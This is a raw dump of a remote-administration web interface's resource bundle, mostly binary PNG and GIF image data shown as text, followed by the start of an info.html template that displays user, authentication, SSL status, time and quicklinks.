q(t.G=dLGY\5N6*5Od<26eXUQ*h*u׭x]?G?Fq?H~Q>fPfV/OIENDB`}0img\sr_pro_fileshare.png%w+uPNG


IHDR  szzgAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxW[lfg8ڻ
8
qb\iCZ%Q<-@%HTJDQ_ڇ!C : 4w	'!8YzٹO?.d_:;;;|粜eYˁn:ԃ%/y2
8!P*&,X	]+
)1wлܻSڞ%1@( H7ΚWi1QpFpNǔlZV7O~^KDi3k<Evı*S@_6tqQWq:f@8hiujlfB|ߋ &0Hs/!C*hpk>Fԓxn(2W=fv
E$
s+p̑,Z7"/0SO%^L7JC]WavΏv!i7`*FSpMOVFDӸA{~ޚ/hSdru3w L˼~/-m+[7{k "%\s=qeq5;t
oc[ךo=ϲ]qwtf$M
'[P6`s}l!V9R648`7<]ghkf Vpgu\#v
jTY	ǰ4z(PJ[a؃Ol>$Z:tZ0!!ԺjLp	1K`(m4PG: }^{CmP4.j1u۷@U|SfjZ+: WޓGą;LQUWSw੬xIWŗjr@&Wʏ
$߳x/s_n_o8 DIE2G=%7oYeX>q9dI*Z`"]Igai"HaX/ezV%gaI
{H
EJE;lnADjVt+MPIFk_c{bntcu8X{'0DuE^*(Ldsx.~|ǵfsʺHaxRRGM2O`4*	p$OLH&?4gkk:1x:-jcD<55XYijPl1n-GL]b.ӸF7dlC#p),Y5
'@qbI0pץAW87Ƙr+,&V-*Wl}UOCyKQ˅L~Q9?'p0ZgJgP*-d;<#~.LIS*=Z(5In!Y^vܴ$f[o	~vXp0_=p~P2}.i/kȦU[}cެşw?;5}A6s3jnG^;3$qzgXq<Ս
{B{̞;@wywpDHjet12$I.y4Jr+rp}/,bY~eH*a_7ӛ
B=9#IENDB`U.6img\sr_pro_filetransfer.pngRuPNG


IHDR  szzgAMA7tEXtSoftwareAdobe ImageReadyqe<_IDATxbkf@L,uʐʰ:o3	q31|߿@5rԕ23`0Ae@1}UPG-p߿;@C@@`FN
3^o#2Ac$dп%>#?q!A &NffRcp)QF`ss1q]~);;3#3ïZ̼KVB(0V<OSN^@,@923<џ/|%$_KϿ?CB1e`8|j,;cC^ĝr@0@,g[)4+87{IEty=H&FNwc׍^xeȖµϚoi)##
@,=Sq矟2n|g&cq7oIp0by~$Ld˘Wsa(?X~2Kch~1`3'0~B:@1[X㓛KW?@PT\hM+N3HHp3a=֣lbB/g8:@םΗw\<pp8[0Hs08۪10132L_t XRS.Yxu>bdd%yn?Ƞ$pZߙ|02uۇ[ȇWT÷O2pxG:vRz /U9}tP@<>]Tӑ/.ev"W_po@3~fdPUcp	`f`0R``f"T
2?KۏJ
¼ 'o"&㗟v.RbX6W|2|O>fd/ß?~0b/11<{?{08(g3H*3pqT`ǔfld<af~te-+S MJ^ '5 =
ݧ
LU` Wd!g
uȻ~
}%#6N
=BGjdCwWBrҽ 7N>~}'?W/>}KPᏸa r|c;,C=-7/?2Ȋh2h2|%K=P+0[y*]@%/A1@4UX1}fx8m?	W_#X~🍍'''aռl|F*<\l/W0og++ãX	@i @Sl@濿^?{/^2y'qY/ܼ20J@ynaR_%`|g?ߟ_Cocghp;'炟d3_^A_na	8/Pp8?2ÏD
`p1p|9=Fo?l9?@K?6K~|\
#` [Ο8Ql))k`?f/_|>~e,vA`P!&_Xo`VY3V-q+<hI ~\/ yʣG W0f{͋>30#Y?!O7S@-,
f	aWhs b1>~LJu`bh^frAQާ߿Al0j.0,103&Put!Њ@f RA뽂GlG2?c"ϣFw8^&O`V!6>ӫL30;$헂_[I@7WYks``pnEmڢ$>u{{j/#0S_ߜb`X[n7?DN@Y,?og?eǧN2p3d
lhe*Kޟ?c`~XpJ'6>nǟ\AS@଀r0rŝ7?p3W<r2Ч@-x`ػn|pw@53hAP XP>~,=aZ&>g/q"+*/Kv:ڿri ~ğS:>@(x/?aLXL@~gz&nf3K2fop`޺}g-׉1: <{W"|$u-w?~0q1)uہgX8B@mDn޺BWvwUo2쇖1: FtC%s2r3ݾt߮-}+Aq†lV逢C:@a
#EPcRE5@20dzIENDB`4=4img\sr_pro_guestinvite.png%
yuPNG


IHDR  szzgAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxb+++ϟg̘#Gx}V߿|||_>{luaae˖1\~߿@ wL X֮][`oo ##GG	ݿϟ?]zr) X~)̬rʔ)vvvJJJax
 +W^Zd4C;6Cq _2ݽ{+>edgcq.ö;n޺O_Xpqr<|ݥ@l8ȫM`p@}ŋm A{={pcׯ2wv6u~_( w`@AR?GX	@޽{?~`~ܻ`ZUAZC!;#oT\PFLóbٻwo_XA	
H3ۇ76F	3hs3030}
?0+0^ı}I<@ jGtb9|' <_AQ'02/`Tt菿l=~TpVUŠsr@xd1M
f0&/VF``dT@~3|_NeHfػg-0X?߰9 XN?e_At,Ds_@Wս|;0L޹=W?}g70cx1s._{+W~|g@abE)B0|/`>6Sbwٷl'ltmunuE#>A)?tu]+oV&rV3ljj*u
PLcaPa ??߿C~a#Qe3W1~%,'+WQQfee>%~`bzs-I1+GӧOoݺ%N@'0hd! /2xa
avb\o89X}o>n.?8)~Xrc쒜}7@1/Լ
o_CwNaN|c.ï\N&Z<`x1ãX~1xf_\L]zXW f`kg\|=tE%egA/~?~)Qy)7bc +., !# ($ #&̠$k@O|&h`(~o> fPzW/"lꪶ"<q0Mؐ߯A+s"9aQVY*; /'7Ùxy	L_?on{ X>Mkd߬AKʀKO 7oXd8eދxYD%#D~aZpX % 7N~d$<dx;
@L^`ljJIvy1~`_20Xʂ,d`c```db`&@\@0!y9'`@,~xv/2 0ce,Z,e. &pY'#
?.d?/PXb``d&@F1|+eƓwެlO?~+O 
,W>|jli`S	O^}t_`!_ RO=3`޼R_.er(:u[p[n	I*eh}MfVD:aru'iް1(̊f"8BDgv#}i<?u2,TM_ \H+X6db0~|V>@ke^x#wLK>ɢdj,m/>&f`6pOl{F2,+)ԵwVXlŀۚ%?ջ7.pc_O30퓵}.@0?}d8w.'g9Zt&M@>@,>{'aUw>+t0a`d=|ؘ͓~?0!ύ~< 
Z[C~2|%(WvUUf۷%blhh`~*#f_߾,v7BS~^zLM51gbbc8,P0م3|WF`Xn`XgP/ba|53j
7hTZ~]Q@W}^^-04_ٷ}`ho`|?0GgXgѱc&dU4,>$'-	!~},eih(_6p	Xhjh0'
 Xm)*215,@>([L'P~l&<<`߿(Ψ@D;#~gu]^;c?r6pB߁AQsS?@D Ǐ11f鋋31kjX1i=o忯WuoTx )W*3X32Z})J )PW<|(M?@ (%?59YIENDB`o&img\sr_pro_help.pnguPNG


IHDR  szzgAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڬWklSUGo[k€9A&L	bMP_!1&~X"BbhLPPS!$2ąA^mw{_5e-$s=w1ƠT8;-6ϋ%[
L@"[s1+Ed~Y\%~.:xKMUDqB޷>GDafܺcA24#E\AXB_6#Oݸ0^JBCs7fhylq]
vOjNɱr$r>Ӽ'G!/MjH2v_UЋyٰ5w~Sn:F$_"XLҭ2֗A3-TN}=F@s3{ɩ-Z!\Up-\2o᳛H0EJd4Z'/k:*#%;b	I 5o<-E1!GP@vi{^Y5^:in(ĈH-$_U#z(d4!>C#HR25;f]FStptq6IUȝZ
w9lER(@9s)i~D*z^~6qT"QfH:Nݺ'-.@dzՄE$NRWtnu)q:!QC@$
JC.I+*JݵgȀJ3aZkG%"K16cI`87.
B|9X1Q:nZ;{$*]񙟅p\AzhPm:u!9L>b3БfX.a HFCY,ŞwS82COm|`0OLHv!q0n0~5D؇1(HD\Ct:ޕHvuO_j[<:#IZ,pf#5pgcydA
[*>3IQ	 ~KXAOH /*! VH@Tn"X=8B<4=6UpzxHdЭd~%`:Xm5u!<,xD$
{!5"P^@<OJ5{
T*U
Lo)f'!2k:dxAq(.Cw"}כ沨XtBk+	;&Q++*a^U`lU_v&)C8ș4x]zkh<>7R6UY,+qŮ:*r_f5C[x
l=#׻L9 [*BsP&5&S˻g'{3;IENDB`t,d&img\sr_pro_pref.png%vPNG


IHDR  szzgAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڬWklUfgmǶ*X<MKhT%*(cbD#)bb1!P#E }]ʶfgn]$ν3w9{G`am(ϴPMm5W *rT"o&XHV#_k/h%|rM$If.fwu~vM28ՈL
1J@j!!9>m^wwnB(ja&*S$",!<Í/rPMCÑ0e54LiZ[H1hp[XTlٚ4&G|٤dU;Wu%|p_K%k,TAm/J?ENp*@恄QH2L)
[9g",&='WrBS8HL*mZKDzqq4%^'.4?B*SR^?fE0-QR0c䘀+ R3ӊ0uGJ{e\?q9@EP|`!2f])IZO˜CΦ4ARcr=aVK2=}8`?rw2~Gd	f65i\0Kʡ&(ۇMv*-	l
AuDlP}s?J(IJq܂bvy8d
3&wK{\e(E||W?}$%` >b T<3x
=IxhR:?-p#
ӗ	ߺxbENcIGc@$+C\g`PB 	yj
nÖRx@0D13j5ŗ{2u@^QS!7,}nqӴ^9sgKBa(ڹ%]!	i :o\żVy@~5:;^G2.v)tמ?]8u
)&,Pn7|EYTը?+߅Aޚ8Ӽ„d`eĺUD
e>m݁ӈ
jK,DR?$˪B<R`<Ͷ?`޺3:3V@~b#rh#F
Lf&S^Wwx1:QyOl6v^_cSUnA`H-
.@
_6)CV>XNzp中~`jg :y_FB]X|%B߀h3RA32Sț	#X>16S8#7`u6r(IENDB`u;9*img\sr_pro_remote.png#=vPNG


IHDR  szzgAMA7tEXtSoftwareAdobe ImageReadyqe<!IDATxbTW`@O]
p00rhGWLy>5	*)@-(s㌬_2X
p31{ϯ<L,?3'woO=>҂??}jC/Pؿ_=JoJx##(3#;+%Ir}׻L7b3 &oۧw3{h;g8/k`s \qmD1I
8 QY+OـcFEV":b֊L[\g`a[OO^2~T{-Ǘw>=
MIq@y97)۟Lodjr\~ *G3Å-@"uS8hfxwoҿHq@1/ Ylne򌑑o>0|֫o2_Xx0L qavY0?`UOB7Y}	u?b@:zzɖ*7xp74!72~AY_l0zWRPNACE/nh$*0,^I݂`OoR"bl04QAH݋g<3>a+#W@T@̌|zN.Fr\||Yi!N_0,AA+70ܾvÃ;/=ebCϜ`dQQ~[bf/ARATKAU
ā.ea[7]f8;0*^2<xʐ`g n #k1ey^Vp6`	47 f?~"L&6Ea`f`{7;0JDbbĠ+*QRC:?|?yshB@1+J+Y4m$p20ٿEُAwg30PQܽa[-7p^ʊ*2DŽ ݽs隨Jʰ30~&HPДf`8˫7E^BN_22.z
[s3-
Ůgx/#>?{/*T|2?+'Nmi-,~1+3N2
lZETj2(01Sle(M0MDPݛd\\$@1jCP((მ
ijI1BCon9?3'ޫ6ia׿9Srn*dFvo~2WהV@.||:H0a`y/³N_i[O14%/c>W…@?8%կrR `L,^?|OyS5M1AA`Ģb;cx/%Gi`&&
^310Lo>X.ǷgKIb>=M@pI3ݺSYGK1 ,dg`PdV?#C Сz.2쿹G݈Aw{OoOL__\w	@L_20\~_=L^Z;mkߺ̟v0vcρc6[>=PsC=N\B}f%kP#9
@1E70|5MA#՝/oSU2STmFI!@AУo?2h1(H)2)pɋ;ep;#YM(XTMh}&n22?BAa[U놦JFP=fay`~%ñ?3=axf0+b`*_>m|}	И7@ M\$LLP;{w\,]~b8ASu02|fPa{X&W~1t]R%",*``ƉWMdHc<~,O/.=r"kE?M5NQE:+'23 o	i?yXef{,'?I0_~gp{tA,O+zEW[[U 55ʳ6aqaF1e?gi0s=ҙsN1aTc%n@d9_޻x/eg=Y>F&i`PS)}EX
4CW5>0\|G:QPǑ;ֱ= @!ϾSBUGXWGB
9d^ۑlB,\<lL\c,r׵YYX?{sە7Oo6]I>6M^FN!n`,d`g̾u!߿8iAJVOYXX^#zߐ.ço`*.;7l,Ͼ0}7/n}y+W1=<ᳬ,@0
0M_6bLs1y'?y
###03|Z# v<\ܠ?"Ԯ?/
H`ϯ_˷U0O@݇PZ%jcaf/a LIENDB`qT*img\sr_pro_secure.png%6vPNG


IHDR  szzgAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڬWklUfgmǶ*X<MKhT%*(cbD#)bb1!P#E }]ʶfgn]$ν3w9{G`am(ϴPMm5W *rT"o&XHV#_k/h%|rM$If.fwu~vM28ՈL
1J@j!!9>m^wwnB(ja&*S$",!<Í/rPMCÑ0e54LiZ[H1hp[XTlٚ4&G|٤dU;Wu%|p_K%k,TAm/J?ENp*@恄QH2L)
[9g",&='WrBS8HL*mZKDzqq4%^'.4?B*SR^?fE0-QR0c䘀+ R3ӊ0uGJ{e\?q9@EP|`!2f])IZO˜CΦ4ARcr=aVK2=}8`?rw2~Gd	f65i\0Kʡ&(ۇMv*-	l
AuDlP}s?J(IJq܂bvy8d
3&wK{\e(E||W?}$%` >b T<3x
=IxhR:?-p#
ӗ	ߺxbENcIGc@$+C\g`PB 	yj
nÖRx@0D13j5ŗ{2u@^QS!7,}nqӴ^9sgKBa(ڹ%]!	i :o\żVy@~5:;^G2.v)tמ?]8u
)&,Pn7|EYTը?+߅Aޚ8Ӽ„d`eĺUD
e>m݁ӈ
jK,DR?$˪B<R`<Ͷ?`޺3:3V@~b#rh#F
Lf&S^Wwx1:QyOl6v^_cSUnA`H-
.@
_6)CV>XNzp中~`jg :y_FB]X|%B߀h3RA32Sț	#X>16S8#7`u6r(IENDB`u;9img\sr_ra.pngovPNG


IHDR  szzgAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxb 0b2f \~
0 4 R5o>~cx#/pfaP`0V h@G>1zܝgËo	JVvfvnA^Nnv6N v6P`Hti.@to^{°=71TMQEOWB_?gs7d?wæ71qc@r@WWAPP7{psn:zxu~0æd؍7455/^`x-ëWXYYxxx$%%$FU&þO^x%0$0!E=@O_r%Ǐ3\xbbbJJJBĨ)+paaguacg;Û7o.\pQqM!!!UUU@?3_0KgdS p&B&&&nnn0gpsscwfsر;ȈʚܽoㅇJD0x?8o,244d8vÖ-[^
I|.?|ð]wcʮҢD^bXC{3$Aښ‚aێߘ~3aŇ0?}dpŐ E1(+zaݡO||x3/<
09raX-?_3hH3[c=YXWgdx~+1,ǗXn[PBo>g7+3X[<c??g`jXNZJ, 
ކ284pX(??g`!ۈ\Ya p:_m`>
Ll?^?d0eǏnݺp)k=3\XͲk6\ϗw|lفan@5[nePSScA@XC@Ra]u0C.0.?1FS/n30}ag8	n9ۃK߿3\x›B\M5ʦob+3'jc; 3)pgVTJzyy1,Z\ꔧO2HKK68Ts?E*#32CQ7Na@]]\i޳g<@(Md809-,6n	\]]Bڵk"Uİ%,60䢢`6n:@*Q~1$-@P#[߿!@,ȍDZ41bv`@ql)IENDB`ɞ1"img\sr_remote.pnglwPNG


IHDR  szzgAMA7tEXtSoftwareAdobe ImageReadyqe<!IDATxbTW`@O]
p00rhGWLy>5	*)@-(s㌬_2X
p31{ϯ<L,?3'woO=>҂??}jC/Pؿ_=JoJx##(3#;+%Ir}׻L7b3 &oۧw3{h;g8/k`s \qmD1I
8 QY+OـcFEV":b֊L[\g`a[OO^2~T{-Ǘw>=
MIq@y97)۟Lodjr\~ *G3Å-@"uS8hfxwoҿHq@1/ Ylne򌑑o>0|֫o2_Xx0L qavY0?`UOB7Y}	u?b@:zzɖ*7xp74!72~AY_l0zWRPNACE/nh$*0,^I݂`OoR"bl04QAH݋g<3>a+#W@T@̌|zN.Fr\||Yi!N_0,AA+70ܾvÃ;/=ebCϜ`dQQ~[bf/ARATKAU
ā.ea[7]f8;0*^2<xʐ`g n #k1ey^Vp6`	47 f?~"L&6Ea`f`{7;0JDbbĠ+*QRC:?|?yshB@1+J+Y4m$p20ٿEُAwg30PQܽa[-7p^ʊ*2DŽ ݽs隨Jʰ30~&HPДf`8˫7E^BN_22.z
[s3-
Ůgx/#>?{/*T|2?+'Nmi-,~1+3N2
lZETj2(01Sle(M0MDPݛd\\$@1jCP((მ
ijI1BCon9?3'ޫ6ia׿9Srn*dFvo~2WהV@.||:H0a`y/³N_i[O14%/c>W…@?8%կrR `L,^?|OyS5M1AA`Ģb;cx/%Gi`&&
^310Lo>X.ǷgKIb>=M@pI3ݺSYGK1 ,dg`PdV?#C Сz.2쿹G݈Aw{OoOL__\w	@L_20\~_=L^Z;mkߺ̟v0vcρc6[>=PsC=N\B}f%kP#9
@1E70|5MA#՝/oSU2STmFI!@AУo?2h1(H)2)pɋ;ep;#YM(XTMh}&n22?BAa[U놦JFP=fay`~%ñ?3=axf0+b`*_>m|}	И7@ M\$LLP;{w\,]~b8ASu02|fPa{X&W~1t]R%",*``ƉWMdHc<~,O/.=r"kE?M5NQE:+'23 o	i?yXef{,'?I0_~gp{tA,O+zEW[[U 55ʳ6aqaF1e?gi0s=ҙsN1aTc%n@d9_޻x/eg=Y>F&i`PS)}EX
4CW5>0\|G:QPǑ;ֱ= @!ϾSBUGXWGB
9d^ۑlB,\<lL\c,r׵YYX?{sە7Oo6]I>6M^FN!n`,d`g̾u!߿8iAJVOYXX^#zߐ.ço`*.;7l,Ͼ0}7/n}y+W1=<ᳬ,@0
0M_6bLs1y'?y
###03|Z# v<\ܠ?"Ԯ?/
H`ϯ_˷U0O@݇PZ%jcaf/a LIENDB`qT"img\sr_secure.png
I'wPNG


IHDR  szz	pHYsgAMA|Q cHRMz%u0`:o_F
/IDATxb?@bb`@,FFF??^sK12e/lax~mѯ,4u@m#a!@,X$?c;VTN~Y7Ffn(P## \ZXᇔ5CZ.zllzuV@iڵk,C%>\sE+;՗gW={+X8Y9x8yX^=fx=i@c]%@3AYed.S71qG<?yE	H1JrbbdPe5c3S>#`I]]M]@3__t6@l8m-5vqޫwn;|w@Agyq\Aѓ3JGmc`@,X?,$+w3ы?}thF@х=sZ.%`Jb`xxó_e -l@aK`' *sw1ܾz?/>m+P//ЏrdD[޽<̌_~
Kn@`Mﯯ320`=3ǁW}^xwI>3Lafaa`bbaF&@x@geQ	@_|}yξ/HQ91˲c?~(ϟ?/0C,G<։yF@-ssbfAOyeWeUex Qp)?^rJ6ۯo`D?`f
KEN'X(jcO&ffv&6
PH+Kῴ:GW7FZ_z+`J6tQR5ZSX81/0P?30*30F_0}~|f'@pUt$eyegm.%bmU003ǫ>e>}dPmcZATL[Lp^E@@(8:P1=_n62<y?WؘE/2&A~15A!av%	ouYAi30cfuPv
'2|YY"P@@A@axzg+y-	^q#^n6n68$@Pjd~90j00e`/xL~2p(IP@hySay.w`J2'^yŰiC~'@5#CaC.A?~00/ ?/}db-x	M`@8~`rs"
o4C]f-$;4wb_pHӄ:#+#02dx%r0; *xmJ\aO7Oy \1=`HqJ112klV^ `?!A#F.i6v`>kLIa蟵ߟ%Rp
i/c8 P'Ԥ-aX趗@3\w$X`'7z
ĄZ01@iF6?hʯP22r~Ed,d}><Pdfw\^~m? ˿g
*8kzΓ`Gw2
'M}0]00\xf΂k@J>|g8ۇ㟿~K?30TFP0xey%'|:7/gx멗݂6d> ruÝݯ)ML|@8ec(۷o9p!R=`gUUu)`MP=|{å[׏Jކ
dB
ˎɳxp- *' *m T
bQ @/f8 P)s/].^{uyVY(/ZWp~~PyLԬ,߿?1rVn~Ãk;wl?nx:':FA^
2lv_^[`#ï?\TuN>}
hȷx.0{PiFF?U_Z'#ћOpj;O>OM/1 B`@jJR!K@
gXkԇ Д
*΀o@8lH,Da/dUn-IENDB`?c&img\sr_security.png
awPNG


IHDR  szz	pHYsgAMA|Q cHRMz%u0`:o_F
/IDATxb?@bb`@,FFF??^sK12e/lax~mѯ,4u@m#a!@,X$?c;VTN~Y7Ffn(P## \ZXᇔ5CZ.zllzuV@iڵk,C%>\sE+;՗gW={+X8Y9x8yX^=fx=i@c]%@3AYed.S71qG<?yE	H1JrbbdPe5c3S>#`I]]M]@3__t6@l8m-5vqޫwn;|w@Agyq\Aѓ3JGmc`@,X?,$+w3ы?}thF@х=sZ.%`Jb`xxó_e -l@aK`' *sw1ܾz?/>m+P//ЏrdD[޽<̌_~
Kn@`Mﯯ320`=3ǁW}^xwI>3Lafaa`bbaF&@x@geQ	@_|}yξ/HQ91˲c?~(ϟ?/0C,G<։yF@-ssbfAOyeWeUex Qp)?^rJ6ۯo`D?`f
KEN'X(jcO&ffv&6
PH+Kῴ:GW7FZ_z+`J6tQR5ZSX81/0P?30*30F_0}~|f'@pUt$eyegm.%bmU003ǫ>e>}dPmcZATL[Lp^E@@(8:P1=_n62<y?WؘE/2&A~15A!av%	ouYAi30cfuPv
'2|YY"P@@A@axzg+y-	^q#^n6n68$@Pjd~90j00e`/xL~2p(IP@hySay.w`J2'^yŰiC~'@5#CaC.A?~00/ ?/}db-x	M`@8~`rs"
o4C]f-$;4wb_pHӄ:#+#02dx%r0; *xmJ\aO7Oy \1=`HqJ112klV^ `?!A#F.i6v`>kLIa蟵ߟ%Rp
i/c8 P'Ԥ-aX趗@3\w$X`'7z
ĄZ01@iF6?hʯP22r~Ed,d}><Pdfw\^~m? ˿g
*8kzΓ`Gw2
'M}0]00\xf΂k@J>|g8ۇ㟿~K?30TFP0xey%'|:7/gx멗݂6d> ruÝݯ)ML|@8ec(۷o9p!R=`gUUu)`MP=|{å[׏Jކ
dB
ˎɳxp- *' *m T
bQ @/f8 P)s/].^{uyVY(/ZWp~~PyLԬ,߿?1rVn~Ãk;wl?nx:':FA^
2lv_^[`#ï?\TuN>}
hȷx.0{PiFF?U_Z'#ћOpj;O>OM/1 B`@jJR!K@
gXkԇ Д
*΀o@8lH,Da/dUn-IENDB`?c*img\sr_simpleview.pngCwPNG


IHDR  szz	pHYsgAMA|Q cHRMz%u0`:o_FIDATxb	&F1{A
]%
0?A*[隒vMIђͱ.Iiq|p>gwkHYx;%0}&t	C)FjHYB<kcPp~37A EH-IciuSI%nrx;6!>fNj)DX[a		=Qr@Tw"zƘ@@`J`=mg6 #'ß^< +' -
U1ՓoZN\_~f{6"ffv`Ȱ3-7Ͽ@"LK0C,
AI&uneNa	!nh^-M*\ƴiy|1	I%q])	} rb :Z.Vip=iϢ6lJ%RL\I.7usm{YpA8
@(Xn%@`dff2*,Ob~YĂyëWqAZ`71Hsoo̪~(bw@kkÏ ""p"CW.o:j@ǂCD(#B
& /@LනDl<<\RR7n\d07fhkb@.*х$H`>1~#9;nf8r#@ʔAQ@
_b|C
Ï?PQCDSQa"p_CCNĸB Xap1ۡ+Z AnjG8 !ăU3!oç>c"DĠ0(Z"EFĂl_ݵX+'6VV&T@>gePB~w!>#(
@sG_
%cD?xFnp?4dy~1|`\?n(@_73<dN5,Q`V|&3'r:˟ЎAR/JeBq,jJ@<Ճ|e!f)}/RJſ8/07o ri퐣^(}	w<Dw=Lݯ[(`JBP(`PyW7pY*Ă߿2K2gࡀ^f2(
hQ$ w` .l@,ȥ+l1C,J8GwB@ n%?lLPøOgdp0E+3|ˌ0@*> /`?̈́5>d2("$~Bŵ-A	\  X
y',9
^`ۏfr*.F¥ G1𕃋c!ɰUU-S"B xE2D$tQTS/(h	2c .0 P,zо=KP @`b~PGv7IENDB`[limg\task.gifwGIF89a四𸸸ؠF֑ؕ~jQhhhe5lmſ!,|'&vbBWcI\Kd#";M4&Ml<`pl*OxfNznؓ}v`

~wkIxtkm3"a`"!;lv2img\trial_bottom_left.pngxPNG


IHDR~tEXtSoftwareAdobe ImageReadyqe<3IDATxb|`kEXo Z(@IENDB`?%0img\trial_bottom_mid.pnguxPNG


IHDRmtEXtSoftwareAdobe ImageReadyqe<IDATxb /:MTIENDB`mH4img\trial_bottom_right.pngxPNG


IHDR~tEXtSoftwareAdobe ImageReadyqe<7IDATxb(_u
,?߿Y@ʀ/Y
[IENDB`2img\trial_button_left.png;xPNG


IHDR&:CtEXtSoftwareAdobe ImageReadyqe<$IDATxTRM1$
qPW3ڠz	zv7vN؞I><i|wiDd*THj X"3>#
/*@J*yU@[b@G1oFAGHb5(ZG
<$j̒A9@c$@Ccwi,@,E3o$83xPo,&mϧJiSd86JV:hEJmkq|دǻ_PR)ڂfW  ~
`Md!/IENDB`yH0img\trial_button_mid.pngP#yPNG


IHDR&fPtEXtSoftwareAdobe ImageReadyqe<VIDATx<
0CQ6f>aNHq8Dϟȶ{Is!zx=DeA0;iיYnK׵\N`nHTיIENDB`8=4img\trial_button_right.png6dqyPNG


IHDR&:CtEXtSoftwareAdobe ImageReadyqe<IDATxڄK0EqN\+pPDb`4#RrriIi̾z2@j|k,RS6900$ٛ*CX_n
>J,06jt|A`*0舻Etۖh28JX'B9Dtg24Yȴ2f*%?GibWw`M?8uIENDB`.img\trial_check_off.pngyPNG


IHDR

otEXtSoftwareAdobe ImageReadyqe<CIDATxڔN@@WSۢVQC\@bxRۃ$H21q66Q{r.;;dg'c1&WrstS	{׫)[I0E)'Q^l,L7<Kl@N+j0J~lwnO.Y~,:g#+Y@Yji3yb$)DuN^jTJNk`Y&
TAfCH0Cx{`|7pw8T	||z>1`x`@3kIENDB`Y,img\trial_check_on.pngyPNG


IHDR

otEXtSoftwareAdobe ImageReadyqe<?IDATxb?!\fbZzb;QXP4OXL!kY%H(d3QTD4O_ǟ/wߞex[\SP?~)[o
◬(*. `?o2<aAyF!6^."ŭ_?(	
(ý.)v^ϱ`_+$xT٘9} ƭp	2Z{`VbtN<XòK,~fA^Q.97cxte%V[geW\%ۣ?Q70dbyIENDB`O+$img\trial_left.pngo4zPNG


IHDRv^tEXtSoftwareAdobe ImageReadyqe<IDATxbz/0JCIENDB`8img\trial_progress_empty.png\[zPNG


IHDR
#IDATxc6mÛ7o^|޼yìa
uۘIENDB`OPz6img\trial_progress_full.pngl݂zPNG


IHDR
3IDATx(0X
ԥx"uGIENDB`16img\trial_progress_left.pngCm{PNG


IHDR
[gtRNSޓ-IDATxM
@/!jݠu-vJYd%:_^=xLp$.(vts:-x;b<=Op-0 *MC[6XVS<-T慑<p7K,}q^6g6yWi1K|ndqIENDB`8img\trial_progress_right.png{PNG


IHDR
[gtRNSޓ-IDATx=DZ
0$)k.u:NNR!.&N%Km/;7h#@[k>K!({,1FU TU}7]ὯQ)%6@"bfcLه6lZ/[^\=YʺIENDB`&img\trial_right.pngrX{PNG


IHDRv^tEXtSoftwareAdobe ImageReadyqe<IDATxb| %1&IENDB`Y]0img\trial_screencast.pngn{PNG


IHDRatEXtSoftwareAdobe ImageReadyqe<WIDATxڄ=KPĄ
Ju	UV\-ꖟ5 8"
BgM,&s(.{s^s>Pq1paYlFVST34`aX:gx9M^!Wj2Q"+S
_Z=8<i0ȝ$J*,V193Xo."RLi#M薛';py
LH`NhH{Zsj0b('儶OrB<W8{CKyT~s2;WMaݢ3K5fcVvX4h@^ũ#`/-IENDB`!N,img\trial_top_left.pngW|PNG


IHDR&	)tRNSįka=IDATxc}他OUl,ߵr1111Tceeebbb```+
5}VIENDB`x"*img\trial_top_mid.pngr~|PNG


IHDRmtEXtSoftwareAdobe ImageReadyqe<IDATxbxï_` [0f+IENDB`&.img\trial_top_right.png||PNG


IHDR~tEXtSoftwareAdobe ImageReadyqe<?IDATxb|[@g14Ï?@2|\>|`$k%~IENDB`g}info.html+|<?ratmpl?>
<?nocache?>
<?

//action "progressbartest"

include "macros.html"

// set colors for server generated images
set session ICON.BG = COLOR.DlgBack // icon background
set session PBAR.BG = COLOR.BlgBack // percent bar background
set session PBAR.CU = COLOR.ServLo // percent bar used
set session PBAR.CF = COLOR.ServHi // percent bar free

// go to light version if needed
if UI = "light"
redirect "/infoLight.html"
endif
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<div class="window">
<div class="titleBar">
<?usemacro TITLEICON("info")?>
<span class="titleText">
<?if REQ.PAGE="help"?>
<?&MSG.DIALOG.HELP?>
<?elseif REQ.PAGE="about"?>
<?&MSG.INFO.ABOUT.TITLE?>
<?else?>
<?&MSG.MENU.HOME?>
<?endif?>
</span>
</div>

<div style="padding: 20 0 0 20;">

<?if not REQ.PAGE?>
<!-- OVERVIEW -->
<table width="95%">
<tr valign="top"><td width="75%">
<?action "rainfo"?><?usemacro WINERRDLG()?>
<!-- USER NAME -->
&MSG.INFO.USER&: <b>&USERNAME&</b><br><br>
<!-- SECURITY INFO -->
<b><?&MSG.INFO.SECURITY.TITLE?>:</b>&nbsp;&nbsp;&nbsp;
<?&MSG.INFO.SECURITY.AUTH?>: <?if NTLM?>&MSG.LOGIN.NTLMSET&<?else?>&MSG.LOGIN.USER&/&MSG.LOGIN.PASS&<?endif?><?if RSAAUTH?>, &MSG.LOGIN.RSA.NAME&<?endif?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<?&MSG.INFO.SECURITY.TRANS?>:
<?if SSL?>
<?&MSG.INFO.SECURITY.SECURE?>&nbsp;<img src="img/ico_evt_lock.png?bg=%COLOR.DlgBack%" align="absmiddle" width="16" height="16">
<?else?>
<a href="cfgssl.html"><?&MSG.INFO.SECURITY.INSECURE?>&nbsp;<img src="img/ico_evt_warn.png?bg=%COLOR.DlgBack%" align="absmiddle" width="16" height="16" border="0"></a>
<?endif?>
<br><br>
<!-- CURRENT DATE/TIME -->
<?action "timeget"?>
&MSG.ADMIN.TIME.CURRENT&: <b><a href="/time.html"><?&DATETIME _dtml?></a></b><br>
<!-- RA UPTIME -->
&MSG.INFO.LICENSE.RAWORK&<br>
<!-- SCHEDULED REBOOT -->
<?action "rebootat"?>
<?if REBOOTAT.TIME?><br><b><a href="restartat.html">&MSG.ADMIN.REBOOTAT.TIME&</a></b><br><?endif?>
<br>

<!-- QUICKLINKS -->
<?action "favlist"?>
<table class="inner" border="0" width="95%" cellpadding="1" ID="Table1">
<tr><th align="center"><a href="qlinks.html" title="&MSG.QLINKS.EDIT&"><?&MSG.QLINKS.TITLE?></a></th></tr>
<?if FAVS > 0?>
<?enum FAVS?>
<tr class="ttd">
